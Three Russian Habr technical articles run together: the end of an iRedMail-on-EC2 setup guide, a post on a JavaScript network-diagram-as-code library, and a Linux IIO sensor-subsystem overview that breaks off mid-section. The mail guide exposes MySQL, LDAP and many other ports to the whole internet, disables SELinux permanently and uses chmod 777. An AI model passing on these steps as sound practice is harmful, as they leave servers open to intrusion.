Открываем EC2: **Volumes** => Create Volume => Size (GiB): 1 => Availability Zone: при создании инстанса выбирали "...1a" значит снова выбираем "...1a" => Create => выбираем вновь созданный Volume (размер 1GiB) => Actions => Attach Volume => выбираете инстанс с установленной CentOS 7 (8GiB) => Attach
Открываем EC2: **Elastic IPs** => Allocate New Address => Yes, Allocate => Выберите созданный адрес => Actions => Associate Address => Instance: выберите ваш интстанс => Associate
Открываем EC2: **Security Groups** => выбираем группу безопасности (default) => вкладка Inbound => кнопка Edit => удаляем All traffic => кнопка Add Rule:
для всех: Source: 0.0.0.0/0 (Anywhere)
Custom ICMP Rule: Echo Reply и Echo Request
Протокол UDP:
DNS (UDP): 53
Протокол TCP:
DNS (TCP): 53
POP3: 110
POP3S: 995
IMAP: 143
IMAPS: 993
SMTP: 25
SMTPS: 465
HTTP: 80
HTTPS: 443
LDAP: 389
MYSQL/Aurora: 3306
SSH: 22
Custom TCP Rule: 24, 111, 387, 587, 2000, 4190, 7777, 9998, 10024, 10025, 10031, 43011, 43200, 43220, 43259, 43325, 43362
Итого: 32 правила.
Проверить номера портов можно после завершения установки:
```
sudo netstat -anpe
```
* В панели управления ClouDNS создаем DNS-записи:
domain.tk A 5.175.174.8 1h(TTL)
domain.tk MX 10 mail.domain.tk 1h(TTL)
domain.tk NS ns11.cloudns.net 1h(TTL)
domain.tk NS ns12.cloudns.net 1h(TTL)
domain.tk NS ns13.cloudns.net 1h(TTL)
domain.tk NS ns14.cloudns.net 1h(TTL)
domain.tk TXT v=spf1 a mx ip4:5.17… 1h(TTL)
ftp.domain.tk A 5.175.174.8 1h(TTL)
mail.domain.tk A 5.175.174.8 1h(TTL)
mail.\_domainkey.domain… TXT k=rsa; p=fMA0GCSq… 1h(TTL)
pop.domain.tk A 5.175.174.8 1h(TTL)
[www.domain.tk](http://www.domain.tk) CNAME domain.tk 1h(TTL)
\_domainkey.domain.tk TXT t=y; o=~; 1h(TTL)
=> Проверяем: [http://intodns.com/domain.tk](http://intodns.com/citr.tk).
* Открываем PuTTY Key Generator => Load => All files => Save private key => Да => Имя файла: EC2t2micro-mS => закрываем PuTTY Key Generator
* Открываем PuTTY => SSH => Auth => Browse… => Выбираем EC2t2micro-mS.ppk => Open => Session => HostName (or IP address): ваш Elastic IP => Saved Sessions: EC2t2micro-mS => Save => Open => Да => centos => Enter =>
```
cat /etc/redhat-release
```
> CentOS Linux release 7.0.1406 (Core)
```
sudo yum -y update
```
```
lsblk
```
> NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
>
> xvda 202:0 0 8G 0 disk
>
> L-xvda1 202:1 0 8G 0 part /
>
> xvdf 202:80 0 1G 0 disk
Смотрим:
```
sudo file -s /dev/xvda1
```
> SGI XFS filesystem data (blksz 4096, inosz 256, v2 dirs)
```
sudo mkfs -t xfs /dev/xvdf
```
> meta-data=/dev/xvdf isize=256 agcount=4, agsize=65536 blks
>
> = sectsz=512 attr=2, projid32bit=1
>
> = crc=0 finobt=0
>
> data = bsize=4096 blocks=262144, imaxpct=25
>
> = sunit=0 swidth=0 blks
>
> naming =version 2 bsize=4096 ascii-ci=0 ftype=0
>
> log =internal log bsize=4096 blocks=2560, version=2
>
> = sectsz=512 sunit=0 blks, lazy-count=1
>
> realtime =none extsz=4096 blocks=0, rtextents=0
Проверяем:
```
sudo file -s /dev/xvdf
```
> /dev/xvdf: SGI XFS filesystem data (blksz 4096, inosz 256, v2 dirs)
```
sudo mkdir -p /data/mail/
```
```
sudo mount /dev/xvdf /data/mail/
```
Проверяем:
```
lsblk
```
> NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
>
> xvda 202:0 0 8G 0 disk
>
> L-xvda1 202:1 0 8G 0 part /
>
> xvdf 202:80 0 1G 0 disk /data/mail
```
sudo cp /etc/fstab /etc/fstab.orig
```
```
sudo vi /etc/fstab
```
[Insert]
# Add a new line to the end of the file for your volume using the following format.
# device\_name mount\_point file\_system\_type fs\_mntops fs\_freq fs\_passno
/dev/xvdf /data/mail xfs defaults,nofail 0 2
[Esc] :wq [Enter]
```
sudo mount -a
```
Если есть ошибки перезагружаться нельзя пока не исправите. [Больше информации](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html).
```
sudo vi /etc/hosts
```
[Insert]
127.0.0.1 mail.domain.tk mail localhost localhost.localdomain
[Esc] :wq [Enter]
Проверяем:
```
sudo cat /etc/hosts
```
> 127.0.0.1 mail.citr.tk mail localhost localhost.localdomain
>
> #127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
>
> ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
```
yum repolist all
```
> C7.0.1406-base/x86\_64 CentOS-7.0.1406 — Base disabled
>
> C7.0.1406-centosplus/x86\_64 CentOS-7.0.1406 — CentOSPlus disabled
>
> C7.0.1406-extras/x86\_64 CentOS-7.0.1406 — Extras disabled
>
> C7.0.1406-fasttrack/x86\_64 CentOS-7.0.1406 — CentOSPlus disabled
>
> C7.0.1406-updates/x86\_64 CentOS-7.0.1406 — Updates disabled
>
> base/7/x86\_64 CentOS-7 — Base enabled: 8,652
>
> base-debuginfo/x86\_64 CentOS-7 — Debuginfo disabled
>
> base-source/7 CentOS-7 — Base Sources disabled
>
> centosplus/7/x86\_64 CentOS-7 — Plus disabled
>
> centosplus-source/7 CentOS-7 — Plus Sources disabled
>
> cr/7/x86\_64 CentOS-7 — cr disabled
>
> extras/7/x86\_64 CentOS-7 — Extras enabled: 149
>
> extras-source/7 CentOS-7 — Extras Sources disabled
>
> fasttrack/7/x86\_64 CentOS-7 — fasttrack disabled
>
> updates/7/x86\_64 CentOS-7 — Updates enabled: 1,198
>
> updates-source/7 CentOS-7 — Updates Sources disabled
**Ничего лишнего!**
```
sudo yum install php php-mysql
```
> … 5.4.16-36.e17\_1 ...
=> y => [Скачать на жесткий диск и распаковать](https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.9.2.tar.bz2).
Залейте папку iRedMail-0.9.2 с помощью FileZilla (Редактирование => настройки => SFTP => Добавить файл с ключом (EC2t2micro-mS.ppk) ip — ваш Elastic IP => Соединиться). Проследите чтобы все файлы были переданы успешно.
```
sudo cp -r /home/centos/iRedMail-0.9.2 /root
```
Проверяем:
```
sudo ls /root
```
> iRedMail-0.9.2
```
rm -rf /home/centos/iRedMail-0.9.2
```
Отключаем и больше не включаем:
```
sudo vi /etc/selinux/config
```
[Insert]
SELINUX=disabled
[Esc] :wq [Enter]
Проверяем:
```
sudo cat /etc/selinux/config
```
> # This file controls the state of SELinux on the system.
>
> # SELINUX= can take one of these three values:
>
> # enforcing — SELinux security policy is enforced.
>
> # permissive — SELinux prints warnings instead of enforcing.
>
> # disabled — No SELinux policy is loaded.
>
> #SELINUX=enforcing
>
> SELINUX=disabled
>
> # SELINUXTYPE= can take one of these two values:
>
> # targeted — Targeted processes are protected,
>
> # minimum — Modification of targeted policy. Only selected processes are protected.
>
> # mls — Multi Level Security protection.
>
> SELINUXTYPE=targeted
```
sudo reboot
```
Проверяем:
```
getenforce
```
> Disabled
```
sudo su -
```
```
vi /etc/hostname
```
[Insert]
# Удаляем старое значение [D][D] на строке под курсором
mail.domain.tk
[Esc] :wq [Enter]
Проверяем:
```
sudo cat /etc/hostname
```
> mail.domain.tk
```
hostname mail.domain.tk
```
Проверяем:
```
hostname
```
> mail.domain.tk
```
cd /root/iRedMail-0.9.2
```
```
bash iRedMail.sh
```
=> Yes
=> /data/mail
=> Apache
=> MariaDB
=> Создайте root-пароль БД
=> 
=> postmaster-пароль
=> DKIM signing/verification
iRadAdmin
Roundcubemail
Awstats
=> **y** за исключением **use firewall rules** — **n**
=> Обновляем базу ClamAV, правда не с первого разу…
> \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
>
> \* Congratulations, mail server setup completed successfully. Please
>
> \* read below file for more information:
>
> \*
>
> \* — /root/iRedMail-0.9.2/iRedMail.tips
>
> \*
>
> \* And it's sent to your mail account postmaster@citr.tk.
>
> \*
>
> \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* WARNING \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
>
> \*
>
> \* Rebooting your system is required to enable mail services.
>
> \*
>
> \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Выход из root:
```
exit
```
```
sudo reboot
```
Проверяем, если все правильно, то ссылки будут ссылаться на ваш домен:
```
sudo cat /root/iRedMail-0.9.2/iRedMail.tips
```
Перемещаем в безопасное место:
```
sudo cat /root/iRedMail-0.9.2/config
```
```
sudo rm -f /root/iRedMail-0.9.2/config
```
**Так как после перезагрузки системы hostname слетает:**
```
sudo hostname mail.domain.tk
```
```
sudo rm -f /var/www/html/index.html
```
```
sudo chmod 777 /var/www/html
```
=> с помощью FileZilla заливаете ваш index-файл сюда: /var/www/html
```
sudo chmod 755 /var/www/html
```
```
sudo yum -y update
```
```
sudo openssl passwd -1 Ваш postmaster-пароль
```
> # Значения будут отличаться.
>
> $1$2dQ48hyz$.mCLeDSdPkP3fxVmARsB.0
```
mysql -u root -p
```
=> Введите root-пароль БД.
```
USE vmail;
```
> Reading table information for completion of table and column names
>
> You can turn off this feature to get a quicker startup with -A
>
>
>
> Database changed
>
>
```
UPDATE mailbox SET password='$1$2dQ48hyz$.mCLeDSdPkP3fxVmARsB.0' WHERE username='postmaster@domain.tk';
```
> Query OK, 1 row affected (0.00 sec)
>
> Rows matched: 1 Changed: 1 Warnings: 0
```
exit
```
```
exit
```
* #### Пробуем готовый продукт
[domain.tk/iredadmin](https://domain.tk/iredadmin/)
[mail.domain.tk/mail](https://mail.domain.tk/mail/)
[mail.domain.tk/cluebringer](https://mail.domain.tk/cluebringer/)
[mail.domain.tk/awstats/awstats.pl?config=web](https://mail.domain.tk/awstats/awstats.pl?config=web)
[mail.domain.tk/awstats/awstats.pl?config=smtp](https://mail.domain.tk/awstats/awstats.pl?config=smtp)
Mozilla Thunderbird
#### Источники информации:
1. [Install iRedMail on Red Hat Enterprise Linux, CentOS](http://www.iredmail.org/docs/install.iredmail.on.rhel.html)
2. [Making an Amazon EBS Volume Available for Use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html)
3. [Reset user password](http://www.iredmail.org/docs/reset.user.password.html) | https://habr.com/ru/post/264685/ | null | ru | null |
# Network diagram as code / Схема сети как код
В последние пару лет стал больше заниматься документацией. Написать поясняющий текст о том, как работает та или иная система — в целом, это достаточно просто. Нарисовать схему, на которой будут отображены все ключевые объекты, связи между этими объектами, тоже вполне легко.
Но самый проблемный момент — это поддерживать эту документацию в актуальном состоянии. И ладно бы текст, но схемы… Т.к. вся документация онлайн, т.е. в формате html, то к тексту прилагаются картинки gif/jpeg/png, на которых собственно изображены схемы. А схемы рисуются в различных программах типа Visio или онлайн-сервисах а-ля draw.io. Затем экспортируешь схему в графический формат и прилагаешь к html. Все просто.
**В чем проблема?**
Схемы обычно простые. Точнее, не сильно сложные. Да, количество объектов десяток-два, количество связей примерно столько же. Плюс подписи, какие-то обозначения. Простые схемы и на словах описать можно, а слишком сложные, кх-м… (с) «не поймут-с». Схем много, изменения в них нужно вносить периодически-эпизодически, т.е. постоянно, т.к. они идут вслед за разработкой наших продуктов.
**Можно же встраивать html сервиса. Пробовал?**
Да, конечно. Мне, например, нравятся графики gliffy.com. Но для изменений надо идти в сторонний сервис, там править. И сложнее делегировать сделать поправки коллеге.
**Что делать?**
Недавно на гитхабе мне попался в рекомендациях репозиторий [github.com/RaoulMeyer/diagram-as-code](https://github.com/RaoulMeyer/diagram-as-code). Диаграмма как код. Т.е. мы описываем на js нужную нам схему. Этот js мы пишем прямо в том же html, где и прочий текст документации.
К слову сказать, но я пишу документацию не совсем в html. Обычно документация — это набор файлов с markdown-текстом, который затем конвертируется в полноценный сайт документации каким-нибудь движком, например wintersmith. Или wiki-система.
Получается очень удобно: вот мы написали текст, затем открывается тег script и в нем описан js код схемы.
**Что опять не так?**
Этот репозиторий мне понравился, но это не единственный пример когда диаграмму рисуют с помощью кода или текстового представления. (В конце статьи будут ссылки проектов и статей, которые нагуглил по теме diagram as code.)
И ведь я не один правлю документацию. Иногда свою лепту вносят и коллеги — слово поправить, описание изменить, новые картинки вставить.
Поэтому хотелось бы диаграмму видеть в читаемом понятном текстовом формате, которому бы не пришлось долго обучаться. А местами даже просто copy-paste сделать для ускорения добавления новой схемы.
А еще один коллега заметил, что код это, конечно, хорошо, но если использовать структуру, все может быть очень строго и выразительно.
Поэтому я попробовал представить схему как набор нескольких небольших массивов, которые описывают узлы, связи, группы узлов, а также расположение узлов. Получилось на мой скромный взгляд достаточно удобно, хотя, конечно, на вкус и цвет…
**Как это диаграмма в массиве?**
* Каждый узел описывается идентификатором, который однозначно определяет узел.
* Также к узлу можно добавить иконку, добавить надпись.
* Между двумя узлами можно указать связь.
* Для связи на схеме можно задать цвет, надпись.
* Направление связи определяется как от источника к цели. А источник и цель указываются идентификаторами узла.
* Один и более узлов можно добавить в группу.
* Связь также можно указать и от группы, и к группе.
Пользуясь этими простыми правилами получается вот такая схема. Просто? Вполне.
А описывается она следующим js-кодом. Основное здесь — это объект elements. В котором указаны nodes — узлы, edges — связи.
```
const elements = {
nodes: [ // описываем узлы
{ id: 'client', type: 'smartphone', label: 'Mobile App'},
{ id: 'server', type: 'server', label: 'Main Server'},
{ id: 'db1', type: 'database', label: 'DB 1'},
{ id: 'db2', type: 'database', label: 'DB 2'},
],
edges: [ // указываем связи
{ source: 'client', target: 'server', label: 'request' },
{ source: 'server', target: 'db1', label: 'request' },
{ source: 'server', target: 'db2', label: 'request' },
],
};
Diagram('scheme1', elements);
```
Конечно, отрисовку схемы я придумал не сам, а воспользовался библиотекой [cytoscape.js](https://js.cytoscape.org/) — очень мощный инструмент визуализации. Толику возможностей которой в своем решении использую лишь.
**Понятно, это простой пример. Можно посложнее?**
Да, пожалуйста. Для указания позиций — мы используем positions, для указания групп — указываем список групп в groups, а у самих элементов атрибут group.
А это код:
```
const elements5 = {
groups: [
{ id: 'g1', label: 'Группа сервисов 1'},
{ id: 'g2', label: 'Группа сервисов 2'},
],
nodes: [
{ id: 'man1', type: 'person', label: 'Человек'},
{ id: 'client', type: 'smartphone', label: 'Смартфон'},
{ id: 'agent-backend', type: 'server', group: 'g1', label: 'agent-backend'},
{ id: 'web', type: 'server', group: 'g1', label: 'Приложение admin'},
{ id: 'www', type: 'server', group: 'g1', label: 'страница загрузки'},
{ id: 'mongodb1', type: 'database', group: 'g1', label: 'Mongo DB 1'},
{ id: 'mongodb2', type: 'database', group: 'g1', label: 'Mongo DB 2'},
{ id: 'runner-integration1', type: 'worker', group: 'g1', label: 'отправка'},
{ id: 'runner-integration2', type: 'worker', group: 'g1', label: 'отправка'},
{ id: 'api', type: 'server', group: 'g1', label: 'API'},
{ id: 'server2', type: 'server', group:'g2', label: 'сервер'},
{ id: 'otherServer', type: 'server', group:'g2', label: 'сервер'},
{ id: 'firebase', type: 'cloud', label: 'Google Firebase'},
],
edges: [
{ source: 'client', target: 'agent-backend', label: 'json', color: 'red' },
{ source: 'agent-backend', target: 'mongodb1', color: 'red' },
{ source: 'agent-backend', target: 'mongodb2', color: 'red' },
{ source: 'mongodb1', target: 'runner-integration1', label: 'данные' },
{ source: 'mongodb2', target: 'runner-integration2', label: 'данные' },
{ source: 'mongodb1', target: 'web', label: 'данные для отображения' },
{ source: 'runner-integration1', target: 'server2', label: 'данные' },
{ source: 'runner-integration2', target: 'otherServer', label: 'данные' },
{ source: 'api', target: 'firebase', label: 'запросы', color: 'blue', },
{ source: 'firebase', target: 'client', label: 'push', color: 'blue'},
{ source: 'server2', target: 'api', label: 'уведомления', color: 'blue'},
{ source: 'man1', target: 'client', },
],
positions: [
{ id: 'client', row: 2, col: 1,},
{ id: 'agent-backend', row: 2, col: 3,},
{ id: 'web', row: 6, col: 3,},
{ id: 'www', row: 1, col: 3,},
{ id: 'mongodb1', row: 1, col: 4,},
{ id: 'mongodb2', row: 2, col: 5,},
{ id: 'runner-integration1', row: 3, col: 3,},
{ id: 'runner-integration2', row: 4, col: 3,},
{ id: 'api', row: 5, col: 3,},
{ id: 'server2', row: 6, col: 7,},
{ id: 'otherServer', row: 4, col: 7,},
{ id: 'firebase', row: 5, col: 1,},
{ id: 'logger', row: 2, col: 7,},
{ id: 'crm', row: 5, col: 8,},
],
};
Diagram('scheme5', elements5, {layout: 'grid'});
```
Такая схема с одной стороны — это почти пара экранов кода на ноуте, с другой структура а-ля json позволяет заполнять все данные по аналогии, быстро и можно copy-paste.
**А почему positions вынесены отдельно от узлов?**
Так удобнее. Сначала мы указываем nodes. Затем можем указать пару-тройку групп и указать их в узлах. Затем обозначаем связи. А уж затем, когда основные объекты и связи между ними есть, беремся за расположение этих объектов на схеме. Или наоборот.
**А можно без positions?**
Можно и без positions. Но это будет немного скомкано, в примерах можно посмотреть такой вариант. Это обусловлено тем, что для cytoscape есть алгоритм расположения узлов [fcose](https://ivis-at-bilkent.github.io/cytoscape.js-fcose/demo-compound.html), который также учитывает наличие групп. Указание positions делает схему более контролируемой, но на стадии первого наброска схемы можно и без positions.
Также positions можно указывать в стиле Морского боя. Т.е. один узел располагается в a1, а другой в d5. Особенно помогает, что cytoscape формирует объекты на canvas подвижными, т.е. мы можем их подвигать, посмотреть разные варианты расположения, а затем зафиксировать в коде понравившееся расположение элементов.
**В целом, понятно. Можно попробовать?**
Конечно, для быстрого создания схем сделал себе небольшой [редактор](https://antirek.github.io/network-diagram-editor/), который сам обновляет схему и в браузере хранит последний вариант (в localStorage).
**Попробовали? Можно теперь и к себе на страницу добавить.**
Тогда еще раз:
**1.** Подключаем скрипт
```
```
**2.** Добавляем в html код
```
const elements = {
nodes: [
{ id: 'client', type: 'smartphone', label: 'Mobile App'},
{ id: 'server', type: 'server', label: 'Main Server'},
{ id: 'db1', type: 'database', label: 'DB 1'},
{ id: 'db2', type: 'database', label: 'DB 2'},
],
edges: [
{ source: 'client', target: 'server', label: 'request' },
{ source: 'server', target: 'db1', label: 'request' },
{ source: 'server', target: 'db2', label: 'request' },
],
};
Diagram('scheme1', elements);
```
**3.** правим код до нужной нам схемы (думаю, это проще чем нарисовать сову :)
Еще подробнее на [странице проекта](https://github.com/antirek/network-diagram) на гитхабе.
**Что в итоге?**
Своих целей я достиг — сделать добавление схем inline в документацию, формат достаточно простой и понятный. Для суперсхем не подойдет, а для небольших схем, поясняющих структуру связей — очень даже ничего. Всегда можно быстро подправить и что-то с течением времени поменять. Да, и коллеги могут в доке сами что-то подправить, как минимум подписи к объектам без особого обучения ))
**Что можно улучшить?**
Тут вариантов, конечно, масса. Сделать добавление дополнительных иконок (все имеющиеся добавлены inline в скрипт). Подобрать более выразительный набор иконок. Сделать возможность указания стиля линии связей. Добавить фоновое изображение.
**А что думаете вы?**
У меня уже есть несколько идей на реализацию в issues, вы также добавьте свои в комментарии.
* [Репозиторий](https://github.com/antirek/network-diagram/)
* [Примеры](https://antirek.github.io/network-diagram/)
* [Онлайн-редактор](https://antirek.github.io/network-diagram-editor/)
Мое решение определенно применимо в узком спектре задач, и возможно вы найдете более удобный инструмент для рисования диаграмм, просто закодировав их — как говорится 'show me your diagram as code'
1. [Хорошая подборка](https://open.evry.blog/2020/01/05/diagram-as-code.html)
2. [Шикарный сервис](https://www.diagram.codes/) (9 типов графиков онлайн-редактор)
3. [Конечно, mermaid.js](https://mermaid-js.github.io/mermaid/)
4. И если вам любы супер детальные и сложные схемы — то вас определенно восхитит этот проект: [go.drawthe.net](http://go.drawthe.net/) | https://habr.com/ru/post/491814/ | null | ru | null |
# Нам нужно поговорить про Linux IIO
IIO (промышленный ввод / вывод) — это подсистема ядра Linux для аналого-цифровых преобразователей (АЦП), цифро-аналоговых преобразователей (ЦАП) и различных типов датчиков. Может использоваться на высокоскоростных промышленных устройствах. Она, также, включает встроенный API для других драйверов.
Подсистема Industrial I/O Linux предлагает унифицированную среду для связи (чтения и записи) с драйверами, охватывающими различные типы встроенных датчиков и несколько исполнительных механизмов. Он также предлагает стандартный интерфейс для приложений пользовательского пространства, управляющих датчиками через sysfs и devfs.
Вот несколько примеров поддерживаемых типов датчиков в IIO:
* АЦП / ЦАП
* акселерометры
* магнетометры
* гироскопы
* давление
* влажность
* температура
* дальнометры
IIO может использоваться во многих различных случаях:
* Низкоскоростная регистрация для медленно меняющегося входного сигнала (пример: запись температуры в файл)
* Высоко-скоростной сбор данных с использованием АЦП, DFSDM или внешних устройств (например, аудио, измеритель мощности)
* Считывание положения вращающегося элемента, используя интерфейс квадратурного энкодера TIM или LPTIM
* Управление аналоговым источником через ЦАП
* Внешние устройства подключенные через SPI или I2C
В целом про IIO информации немного, но но она есть, а поэтому в данной обзорной статья мы сначала ...
Сосредоточимся на моментах почему IIO это хорошо
================================================
Все наверняка встречали/пользовались конструкциями типа:
```
# https://www.kernel.org/doc/Documentation/i2c/dev-interface
open("/dev/i2c-1", O_RDWR);
# https://www.kernel.org/doc/Documentation/spi/spidev.rst
open("/dev/spidev2.0", O_RDWR);
```
У данного способа много недостатков, я перечислю те которые считаю основными:
1. нет прерываний
2. способ доступа для данных индивидуален для каждого устройства
Ну как говориться зачем всё это — если есть драйвера ?
Здесь мы опять сталкиваемся с "индивидуальностью" каждого устройства (как допустим способ калибровки или размерность).
Собственно IIO даёт нам во-первых универсальность, во-вторых возможность poll по поступлению новых данных.
Сам IIO разделен на два уровня абстракции — устройства и каналы измерений.
Выделим два основных способа доступа поддержанных в официальном ядре.
Простое использование IIO
=========================
Мы можем читать данные через sysfs (допустим для акселерометра):
```
# cat /sys/bus/iio/devices/iio\:device0/in_accel_x_raw
-493
```
Это мы прочитали "сырые" измерения, их еще надо привести к общему виду.
Либо через read():
```
# Включим захват измерений для каждого канала
(cd /sys/bus/iio/devices/iio:device0/scan_elements/ && for file in *_en; do echo 1 > $file; done)
```
Тогда мы можем свести взаимодействие к виду :
```
int fd = open("/dev/iio:device0");
read(fd, buffer, scan_size);
# где scan_size это сумма размера всех заказанных измерений, то есть для всех 1 в /sys/bus/iio/devices/iio:device0/scan_elements/*_en
```
Размер прочитанного блока всегда кратен scan\_size, мы получаем "сырые" измерения, которые надо привести к общему виду, об этом позже.
Внутреннее устройство
---------------------
### Каналы
Любой драйвер IIO предоставляет информацию о возможных измерениях в виде стандартного описания каналов **struct iio\_chan\_spec**:
[IIO types](https://elixir.bootlin.com/linux/v5.9-rc1/source/include/uapi/linux/iio/types.h#L14)
Пример для датчика BME280
```
/* https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/pressure/bmp280-core.c#L132*/
static const struct iio_chan_spec bmp280_channels[] = {
{
.type = IIO_PRESSURE,
.info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED) |
BIT(IIO_CHAN_INFO_OVERSAMPLING_RATIO),
},
{
.type = IIO_TEMP,
.info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED) |
BIT(IIO_CHAN_INFO_OVERSAMPLING_RATIO),
},
{
.type = IIO_HUMIDITYRELATIVE,
.info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED) |
BIT(IIO_CHAN_INFO_OVERSAMPLING_RATIO),
},
};
```
Как мы можем видеть, данный датчик предоставляет измерения температуры, влажности и давления — три отдельных канала с разными типами.
То есть мы можем читать температуру с любого датчика температуры для которого есть драйвер в ядре Linux одним и тем же способом, а так же выбрать любое сочетание данных каналов и читать только их.
### Кольцевой буфер
Собственно это не так интригующее как звучит, основан на [kfifo](https://elixir.bootlin.com/linux/latest/source/include/linux/kfifo.h) делает всё что положено кольцевому буфферу.
Новые данные вытесняют старые, что гарантирует доступ к последнему измерению в любое время, а так же то, что в худшем случае будут потеряны только старые измерения.
### Метка времени
Присутствует для любого типа устройства. Нам важно знать, что метка времени выставляется, как правило, в верхней половине обработчика прерывания, что конечно же хуже чем собственная метка времени датчика, но лучшее на что мы можем рассчитывать без неё.
Представлена в наносекундах, является CLOCK\_REALTIME.
[IIO Triggered Buffers](https://www.kernel.org/doc/html/latest/driver-api/iio/triggered-buffers.html)
Триггеры
--------
Представляет из себя "внешнее" событие, которое инициирует захват данных с последующей передачей наверх в user space.
Один и тот же триггер может быть назначен нескольким устройствам, что позволяет получить близкие по времени измерения с нескольких независимых устройств.
Назначить триггер устройству:
```
# cat /sys/bus/iio/devices/iio\:device0/trigger/current_trigger
icm20608-dev0
# echo > /sys/bus/iio/devices/iio\:device0/trigger/current_trigger
# cat /sys/bus/iio/devices/iio\:device0/trigger/current_trigger
# echo "icm20608-dev0" > /sys/bus/iio/devices/iio\:device0/trigger/current_trigger
```
[Official Trigger Documentation](https://www.kernel.org/doc/html/latest/driver-api/iio/triggers.html)
[IIO sysfs trigger](https://wiki.analog.com/software/linux/docs/iio/iio-trig-sysfs)
[Industrial IIO configfs support](https://www.kernel.org/doc/Documentation/iio/iio_configfs.txt)
[Triggered buffer support trigger buffer support for IIO subsystem of Linux device driver](https://programmer.group/5cbf67db154ab.html)
### Device owned triggers
Данный класс триггеров относиться к собственным триггерам устройства, они определяются в device tree:
```
icm20608: imu@0 {
...
interrupt-parent = <&gpio5>;
interrupts = <11 IRQ_TYPE_EDGE_RISING>;
...
};
```
Это даст нам соответствующий триггер с именем:
```
cat /sys/bus/iio/devices/trigger0/name
icm20608-dev0
```
Собственно конкретный данный триггер это просто выход прерывания заведенный на соответствующую ножку gpio, но это не всегда так, таким триггером может являться любой источник прерывания связанный с устройством.
### Interrupt triggers (also known as gpio trigger)
[iio-trig-interrupt](https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/trigger/iio-trig-interrupt.c)
Фактически тоже самое что и предыдущий тип, но он не привязан ни к какому конкретному устройству. Это может быть просто кнопка подсоединенная к gpio, так и любой источник прерываний.
Данный драйвер не поддержан в ядре в полном виде, ввиду сомнений текущего maintainer'a IIO Jonathan Cameron, хотя он так же является его автором.
Единственный способ задания в официальном ядре через платформенный код — необходимый для этого платформенный код вы можете подсмотреть тут [Triggered buffer support trigger buffer support for IIO subsystem of Linux device driver](https://programmer.group/5cbf67db154ab.html).
Но кому очень хочется может воспользоваться серией патчей:
[[v3,1/6] dt-bindings: iio: introduce trigger providers, consumers](https://lore.kernel.org/patchwork/patch/764358/)
Тогда задание через device tree будет выглядеть приблизительно так:
```
trig0: interrupt-trigger0 {
#io-trigger-cells = <0>;
compatible = "interrupt-trigger";
interrupts = <11 0>;
interrupt-parent = <&gpioa>;
};
```
### sysfs trigger
[iio-trig-sysfs](https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/trigger/iio-trig-sysfs.c)
Тут всё очень просто пишем в sysfs — срабатывает триггер, устройство захватывает текущие измерения и уведомляет потребителя.
Создание триггера:
```
# echo 10 > /sys/bus/iio/devices/iio_sysfs_trigger/add_trigger
```
Число используется для генерации имени триггера в виде "sysfstrig%d", его же мы используем при задании триггера устройству.
### High resolution timer trigger
Представляет из себя таймер с минимальным возможным разрешением в 1 наносекунду.
```
# mkdir /sys/kernel/config/iio/triggers/hrtimer/my_trigger_name
# cat /sys/bus/iio/devices/trigger4/name
my_trigger_name
# cat /sys/bus/iio/devices/trigger4/sampling_frequency
100
```
Одним из дополнительных случаев использования может быть опрос устройств без собственных прерываний — допустим "забыли" завести прерывание на SoC.
### loop trigger
[iio-trig-loop](https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/trigger/iio-trig-loop.c)
Экспериментальный триггер предположительно инициированный [PATCH v1 5/5 iio:pressure:ms5611: continuous sampling support](https://www.spinics.net/lists/linux-iio/msg23004.html).
Смысл заключается в опросе устройства с максимально возможной скоростью. Дополнительно можно посмотреть оригинальный комментарий к коммиту:
[iio:trigger: Experimental kthread tight loop trigger](https://github.com/torvalds/linux/commit/bc2e1126eccb47517b9d1c685020c38600f99a3d#diff-0d329fecbdfa98eba57fd93cd6350578).
Опять же нет поддержки DT, так что либо добавлять через патч, либо через платформенный код.
Device tree
-----------
Здесь я хочу обратить особое внимание на возможность задать label для узла, которую лучше всего использовать если у вас много однотипных устройств, всегда текущие значения заданные в узле можно подсмотреть в директории of\_node для каждого iio:device — /sys/bus/iio/devices/iio\:device0/of\_node/.
Какой общей рекомендации не существует — всё индивидуально и описано в <https://elixir.bootlin.com/linux/v5.9-rc1/source/Documentation/devicetree/bindings/iio>
Типы каналов измерений
----------------------
Многие датчики, который раньше существовали как отдельные сущности были перенесены на инфраструктуру IIO, так что похоже тут [enum iio\_chan\_type](https://elixir.bootlin.com/linux/v5.9-rc1/source/include/uapi/linux/iio/types.h#L14) можно найти почти любой тип измерений. Расшифровку можно посмотреть тут [iio\_event\_monitor](https://elixir.bootlin.com/linux/v5.9-rc1/source/tools/iio/iio_event_monitor.c#L28).
Формат данных
-------------
IIO умеет сообщать в каком формате нам передаются данные [iio-buffer-sysfs-interface](https://01.org/linuxgraphics/gfx-docs/drm/driver-api/iio/buffers.html#iio-buffer-sysfs-interface).
```
[be|le]:[s|u]bits/storagebitsXrepeat[>>shift]
```
Живой пример для icm20608:
```
# cat /sys/bus/iio/devices/iio\:device0/scan_elements/*_type
be:s16/16>>0
be:s16/16>>0
be:s16/16>>0
be:s16/16>>0
be:s16/16>>0
